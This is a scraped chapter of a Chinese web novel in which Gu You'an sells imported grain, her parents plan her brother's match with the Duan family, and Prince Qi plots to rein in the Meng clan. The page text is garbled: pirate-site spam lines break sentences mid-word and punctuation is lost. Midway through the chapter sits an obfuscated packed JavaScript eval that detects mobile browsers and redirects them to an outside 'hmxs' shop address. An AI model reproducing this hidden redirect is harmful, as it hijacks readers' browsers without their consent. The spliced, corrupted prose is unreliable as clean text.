第49章 婚嫁放肆

作品:《流放后,我在东北当地主

    商队带回来的粮食祁王府那边也没说如何处置,顾佑安打发人去城西一街衙门问,那边只说允许他们留下自家用的,剩下的以市价卖给百姓即可。


    顾佑安惊讶:“就这样?”


    王全回禀道:“没错,小的再三问过了,衙门那边没有其他吩咐,只叫咱们自行处理。”


    在场的掌柜们你看看我,我看看你,都不明白了。


    入关前摆出缺粮的架势,一定要他们带粮食回来。如今他们带粮食回来了,官府却叫他们自行处置。这是个什么道理?


    “衙门那边可提了叫咱们再去关内一趟运粮食?”


    “也没提。”


    “唉,这倒是奇了。”


    众掌柜议论纷纷,最后还是顾佑安出来道:“如此也好,咱们留出自家需要的粮食,其他都自行处理吧。”


    何掌柜笑道:“也是,毕竟谁家没几个亲友呢?”


    除了顾掌柜外,他们这回去关内走商都没几架车,他们拉回来的这些粮食说少不少,说多也不多,留足自家的,勉强能给自家亲友分一分罢了。


    时辰也不早了,各家掌柜分好货物后各自归家。


    顾佑安没闲着,叫高金带着护卫把粮食送去后院放好,她自己去松江城各家粮铺走了一圈。


    松江城的南街还是那般热闹,顾佑安先去的就是南街上的粮铺,一连走了几家粮铺,粮铺里各种粮食供应都有,价格也没有大涨。


    顾佑安跟相熟的掌柜打听,那掌柜笑道:“年前年后慌乱了一阵,如今跟几个月前不同了。”


    “哪里不同?”


    “还有两月就秋收了,今年干旱少雨,江水却还没断绝,所以今年就算减产,估摸着一亩地也能有五六十斤收成,饿不死咱们。”


    百姓们看地里的粮食长得还好,也就不着急买粮了,城里的粮价也稳了。


    “原来如此!”


    顾佑安不担忧城里,她担忧东北军那边,可那些事也不是该她操心的,军饷之事,东北将军和祁王府应该有应对的良策。


    商队早上进城,忙了这么久,已经中午了,日头晒得人脸皮发烫。


    太阳晒得人睁不开眼,小菊单手遮着额头,一边擦汗道:“小姐,咱们还去东街上粮铺吗?”


    “不去了,咱们家去吧。”


    顾佑安回民人巷家里,用了午时,又歇了晌,才叫小菊把王全请来,问这几月家里情况。


    “五月初春耕后,留下建宅子的人手后,张贵带着人去邻山村靠近北荒村中间的荒地开荒。那片荒地上如今已经开出三十余亩地了。”


    “张贵他们一边开荒一边种地,因要算着降雪的日子,开荒后他们种的都是生长期短的粮食,诸如大


    你的朋友正在书荒,快去帮帮他吧


    豆、红薯等。今年干旱新开荒的地又没有建水渠收成不会好不过多少会有些总不会浪费了粮种。”


    王全道:“张贵带着人都是勤劳肯干的夫人怕他们累着给他们三五日加一顿肉菜肚子里也多点油水。”


    “应该的。村里的宅子建得如何了?”


    王全:“按老爷说的宅子要建得宽敞建得厚实保暖不需做那些费时的雕花工艺这样一来进展自然就快起来。咱们自己人建了里头两进宅子雇来的人建了外头两进宅子一起动工日前已经完成□□成了。”


    宅子建好后还要安装门窗置办家具院子里再种植适宜的果木等再晾晒通风些日子住进去只怕要等到秋收后了。


    王全小声道:“地库咱们建了三个两个大的在后院里一个小的在主院。主院的地库有一条地道通向后山这事儿只有主子和负责挖地道的几个人知道。”


    顾佑安嗯了声:“做好通风防湿等那边地库可以放东西了我叫高金他们把粮食送回去村里去。”


    “是。”


    村里的事禀报了王全笑着道:“还没给小姐道喜咱们家大少爷考中了武官前两月就去西城门外的护城军里任总旗了。”


    考进去的武官一般都是先任小旗底下管着十个兵丁等日后立功了总旗、百户、千户等一步步往上升。


    顾佑安没想到她哥竟进去就是总旗挺厉害嘛。


    “跟咱们家大少爷同批进去的只有三个总旗其他的都是小旗咱们家大少爷可不得了。”


    顾佑安笑问:“田二郎呢?他考的什么?”


    “田二公子也是总旗。”


    顾佑安笑叹:“一次便中了不枉他们寒暑不辍苦练武艺的辛苦。”


    “田大人也是如此说。对了田大公子考中了文官如今在衙门里做写写算算的文书活儿


    田大郎能考中文官顾佑安不觉得奇怪只想着田叔和白婶婶挺会教导孩子田家两个儿子都很有出息。


    “我娘和阿萱什么时候回城?”


    顾稳自从升任三品农


    官进城当差后日日忙得不着家杜氏带着小女儿在城里住着也无趣上月就回村里了也好管一管家里建房浇地的事情。


    王全禀道:“前几日小的回村里办事夫人就提了叫您城里的事了了就回村里去找她秋收前夫人不会来城里。”


    “知道了。”


    顾佑安还要在城里留几日她吩咐人把给家里人买的各色物件送回去给阿萱请的两个女先生也送回去。


    傍晚顾稳下值家来父女俩一块儿用晚食聊了下洛阳的事又说了松江


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    城的现状,顾稳忍不住叹气。


    “今年你还去不去洛阳?”


    “我叫人给胡家带话了,后日胡菖蒲要来城里,我跟他商谈之后才知道。”


    如果药材能凑出一支商队,趁着秋收前她再跑一趟,若是不能,那就等明年。


    顾稳表示知道了:“田家和张家提前给我递话了,他们想存些粮食,叫你给留着。”


    “早前就预留了他们的。”


    顾稳笑道:“这次回来数你运回来的粮食最多,留了咱们自家的和田张两家的,剩下的你如何处理?”


    “爹,您有话要叮嘱我?”


    “嗯,剩下的粮食早些卖了吧,别留在手里叫别人问上门来。”


    “不至于吧,我才去粮店瞧过,松江城买粮食也不难。”


    “苏家那边,苏大人好似有意把他的小女儿嫁给你大哥。”顾稳心里不愿,他怕苏家真有此意,借口买粮的事找上门来。


    “苏香?我记得她比我还大一岁,今年十九了?”


    “嗯,听说苏夫人这几年为此没少费心,高不成低不就,今年我们家有点起来了,苏夫人就瞧见你大哥了。”


    顾佑安冷笑:“若是真瞧上了,您也不会说好似有意了。”


    一路从洛阳流放过来的,苏夫人的脾性顾佑安还是知道些的,她肯定是想把苏香高嫁,可苏家的门第也没有那样好,苏香又是个窝囊性子,那些眼高于顶的贵妇能瞧上苏香就怪了。


    苏家往上嫁女不成,只能在同门第里找,同门第里也不见得如意,一拖二拖的,这就拖到了如今,迫于现实无奈低头选女婿,偏又瞧不上人家的门第。


    “爹,叫我说,苏香配不上我哥,您若是问我,这桩婚事我是不同意的。”


    顾稳笑道:“你哥的婚事轮得到你一个做妹妹说话?”


    “那您说,您和娘是个什么意思?”


    “我和你娘这两月也没闲着,看好了城东段家的独女。段家的当家人段集在税赋衙门任职,如今跟我同级,是三级官。”


    “他们家家风如何?”


    “段大人是个不喜结党的,为人耿介,跟你田叔的性情倒是有几分相似。”


    “听起来倒还不错。”


    顾稳点点头,道:“段家家风不错,他们家的女儿你娘前些日子去赴宴时瞧见过,你娘说那小娘子性情也好,跟咱们家应是处得来。”


    “那我哥呢?我哥怎么说?”


    “你哥没见过人,他说叫你去见一见,你若是也觉得好,他就娶。”


    顾佑安心里一颤:“没见过?那以后若是……”


    顾稳笑道:“只叫你去见一见,听听你意见,他心里也有底。若是两家都有意,肯定要叫他们见一见的


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    。


    顾佑安心头才安:“那就好,若是哥嫂以后不好,我可担不起这个责任。


    顾稳喝完一盏茶,又给自己倒了一杯,问女儿道:“你哥的婚事办了,就该轮到你了。


    轮到她了呀……


    她自来了松江城后一直忙着走商之事,婚事一直没考虑过,如今也该想想了。


    顾稳知道女儿主意多,她又去过那样一个地方,在婚事上他也不强逼,只道:“成婚或是不成婚都是你选择,但爹作为过来人要告诫你一句,时移势易,在大周朝,纵使是寡妇也比不婚的小娘子好过些。


    顾佑安笑道:“您这是叫我……


    顾稳瞪她一眼:“别咒自己,好好说话。


    顾佑安捂住嘴笑。


    顾稳也笑了:“去忙你的事去吧,下月重阳节你跟你娘去见见段家的小娘子,也帮你哥一把。


    “知道了。


    顾佑安在松江城留了两日,头一日平安镖局过来拉走五大车粮食。


    隔天胡菖蒲来,谈了药材的事后,拉走了三十车粮食,又给山上其他要粮食的采药人家带了话,顾佑安留下他们的需要的后,剩下的粮食全部卖了。


    顾佑安回邻山村当日,中午休息时,苏光在衙门附近碰上顾稳,问起粮食的事情。


    苏光犯愁得很:“我家是我夫人在管家,昨日突然跟我说家里存的稻米不多了,想买些新鲜的,这不,刚好听说你家商队从关内拉了许多粮食回来,顾大人可方便卖些给我家?


    “哎呀,苏大人您说晚了,若是早一日说,我就叫安安给您把留出来了。


    “怎的?没有了?


    “没有了,昨儿我家安安吩咐人把粮食都卖去粮铺。


    苏光打量顾稳,随后笑道:“那可真是不巧。


    顾稳道:“也无妨,安**回来的粮食都买去南街上姓张的那家粮铺,您使人去买就是。买得多了,人家给送上门,您家也省事。


    这时,段大人从前头来,笑着喊了声顾大人。


    顾稳忙回头笑道:“段大人好,可用过午食了?


    “刚用过,今儿上午我们衙门正盘账,去年平安镇交上来的账目做得好,上头落的是顾大人的名儿,我们上官还夸顾大人了。


    顾稳忙说不敢当:“都是所有同僚们的功劳,下官哪里敢居功。


    段大人笑道:“做得好就是好,这几日不得空,等休沐了我请顾大人喝酒,咱们好好聊聊。


    段大人转头又跟苏大人说:“苏大人若是有空,也一同?


    苏光借口那日早有安排,谢绝了。


    三人寒暄片刻,马上就是下午上值的时候了,三人互相告辞,各自回自己的衙门


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    去。


    顾佑安已经回村了,先去看了眼自家还在建的大宅子,看完才回家,还没进门就听到她妹妹哇哇大哭。


    “这是怎么了?哭什么?


    阿萱听到姐姐的声音,忙跑出来:“姐姐,快把先生送回去,我不要先生。


    顾佑安才抱住冲过来的阿萱,杜氏这才跑出来,气势汹汹道:“顾佑萱,是你自己求着要学琴,这才学了两日就放弃了,像什么话!


    “娘,我手疼。阿萱眼泪汪汪。


    “叫你学琴你手疼,叫你背琴谱你说记不住,那你学个什么东西?


    请来的女先生到家第二日,阿萱听先生弹琴立刻就被征服了,她也想像先生这样厉害,于是就跟杜氏说她要学琴,甚至连她最喜欢的射箭课都减少了半个时辰。


    杜氏原本正高兴着呢,高兴小女儿对学琴感兴趣,十年后家中说不得出个才女,谁知道才两日她的才女梦就破碎了。


    杜氏气道:“你学的好不好且不说,你因怕苦怕累就这般闹腾,叫你爹知道了,你爹也要打你。


    “我爹才不打我。小丫头还犟嘴。


    杜氏冷笑:“再有几日就是休沐了,等你爹回来,看他怎么说。


    阿萱眼巴巴地向姐姐求救,顾佑安看着她叹气,又劝她娘:“当初不是您说的,她爱学就学,不爱学就当开阔眼界么?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960535|167118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “她自己说爱的,自己选的路难道就因辛苦就放弃了?


    顾佑安知道她娘在乎的是阿萱学习态度的问题,怕阿萱养成拈轻怕重的习惯,这事儿吧,她也劝不了她娘。


    阿萱只能自求多福了。


    阿萱被杜氏拉进屋里,阿萱哇哇乱叫,过了会儿,屋里又叮叮咚咚地响起了琴声。


    顾佑安回到自己房间,过了会儿杜氏过来:“阿萱读书的事上你要站我一边,可知道?


    顾佑安哪里敢反对,只笑嘻嘻道:“您放心,我是您的贴心小棉袄,自然是跟您站在一起的。


    杜氏这才露出个笑脸来:“算你还听话。


    母女俩坐下说话,杜氏念叨起村里各家的事,道:“罗家上半年建了自家的宅子,下半年罗家三个儿媳都有了身孕,这两三个月陆续生了,前几日罗家给三个孙子孙女办了满月宴,可热闹了。


    村里那么多事不说,她才回来,怎么只跟她说罗家的事?顾佑安觉出她娘的用意来,站起身就想走。


    杜氏忙拉住女


    儿,笑道:“跟你说正事,跑什么跑?


    顾佑安无奈坐下:“您还有什么正事,一并说了吧。


    “段家的事你爹跟你说了吧?


    “顾佑安点头。


    “下月重阳节孟家在城外西郊办宴,


    你的朋友正在书荒,快去帮帮他吧


    邀请三级官以上家眷出席,各家未婚的年轻公子小姐都去,到时候你去跟段家小娘子搭话,你若是觉得好,再告诉你哥去。”


    “见了段家小娘子你就没事儿了,我这里也不用你伺候,你只管带着阿萱去玩儿,你也多认识认识人。”


    杜氏对女儿的容貌品性十分有信心,她觉得只要那些夫人不是个眼瞎的,就看得出她家安安的好来。


    顾佑安明白,她娘这是叫她去相亲,但是……


    “孟家办宴,还是这种宴,是为了祁王?”


    “肯定是冲着祁王去的,咱们家这几年住在村里不知道,松江城里有头有脸的各家主子,谁不知道孟家袁家每年都要找借口在松江城里办宴?可惜,祁王一次都没去。”


    杜氏:“孟家袁家跟祁王有亲,又是高门大户,自然只盯着上面。咱们家不同,我和你爹只想你寻个你中意的,家里好相处的婆家,以后安安稳稳过一生。”


    杜氏越是这样说,顾佑安心里越是惦记上了祁王的好姿容,又想到他的眼神,他送的礼。


    重阳节前,顾佑安还要忙一件事,新收来的药材装车后,顾佑安把走商的事交给郭素和高金。


    出发前,顾佑安细心交代:“药材送去万景药行,也不需采购其他的货物,只把粮食拉回来就是。”


    郭素笑道:“你放心,跟你走了几回,里头的门道我都知道。”


    高金也道:“主子放心,我等一定安安稳稳带着粮食回来。”


    顾佑安:“路上别耽搁,赶早不赶晚。”


    趁着山海关那里张衡还在,赶紧回来,这事儿宜早不宜迟。


    送走郭素和高金后,顾佑安回到家中,她屋里的炕上摆满了各色娟缎丝绸布匹,白氏、刘氏都在,三人正和请来的绣娘选布料花色。


    “娘我回来了。”


    “见过白婶婶,刘婶婶。”


    顾佑安礼都没行完,白氏忙拉她过来:“你试试这匹胭脂色的薄绸,我看用这个给你做一身衣裙十分衬你。”


    刘氏瞧见了那蜀地来的十样锦:“在松江城里难见到这样好的蜀锦,用这个做一身衣裳,再配上几样清新精致的首饰,那日宴上定不会有比安安更亮眼的小娘子了。”


    杜氏瞧了一眼:“哎,这匹蜀锦是他舅舅舅母送的,十样锦的色儿活泼又雅致,最适合年轻小娘子。”


    刘氏笑道:“安安舅母心细。”


    三个长辈拉着她当衣架子,顾佑安反抗不了,只能乖乖站在一旁叫她们扯来各色布料在她身上比画。


    杜氏看女儿哪里都好,选了十几匹布出来,她哪样都舍不得,最后拍板道:“既然好,那就都做了,左右安安这个年纪也不会再长高,都


    你的朋友正在书荒,快去帮帮他吧


    做了衣裳以后都穿得。”


    白氏拉着杜氏道:“不行,你先选两个色出来叫绣娘做,剩下的日后再说。我还想借你家的绣娘给我家大郎二郎做一身见客的衣裳。”


    “不怕你们笑话,我家大郎二十二了,二郎也二十一了,两个小子好不容易熬到了今年有了差事,我急得不行,这回重阳宴一定要把他们打扮好了,给我骗个媳妇儿回来。”


    杜氏和刘氏大笑几声,两个绣娘闻言也偷偷笑。


    刘氏笑道:“我家虽只有一个绣娘,不过我家隐山还不着急,我叫我家绣娘去你家帮忙,先帮你家两个做好见客的衣裳。”


    白氏感谢,道:“等他们俩有媳妇儿了,我叫他们兄弟俩去给你磕头道谢。”


    刘氏笑意连连,杜氏笑叹道:“几年的光阴一晃而过,咱们几家的孩子都大了。”


    男大当婚,女大当嫁,合该如此。


    祁王接到孟川送来的密信,一是商量东北军粮饷的事,二是说祁王的亲舅母带着他的嫡亲表妹,孟娇,已经到孟家了。


    过些时日,舅母和表妹会跟着孟家袁家人到松江城来。


    祁王随手把书信点了,扔盆里子烧了。


    徐志眼观鼻鼻观心,孟家明知道自家主子不愿跟孟家袁家联姻,一次次来试探不成,如今竟跑去山西把他主子的亲表妹接来,只怕主子再容忍不了孟家的放肆。


    孟皇后唯一的亲哥哥,祁王的亲舅父孟逸,是个坚定的保皇党。就算皇帝因他是祁王的舅父把他从国子监祭酒的位置拉下来,外放去山西做个府学的学政他也毫无怨言。


    祁王不相信舅父会答应孟川把表妹孟娇送来松江城。


    祁王给孟逸写了封信,交给徐志,冷声道:“快马加鞭送去。”


    “是。”


    看在他娘和外祖父的份上,这些年他对孟家太过优待,纵容得孟家也放肆了,祁王动了敲打之心。


    下月重阳宴,就是个好机会。


    心里想到一个人,最好叫他一箭双雕,得偿所愿。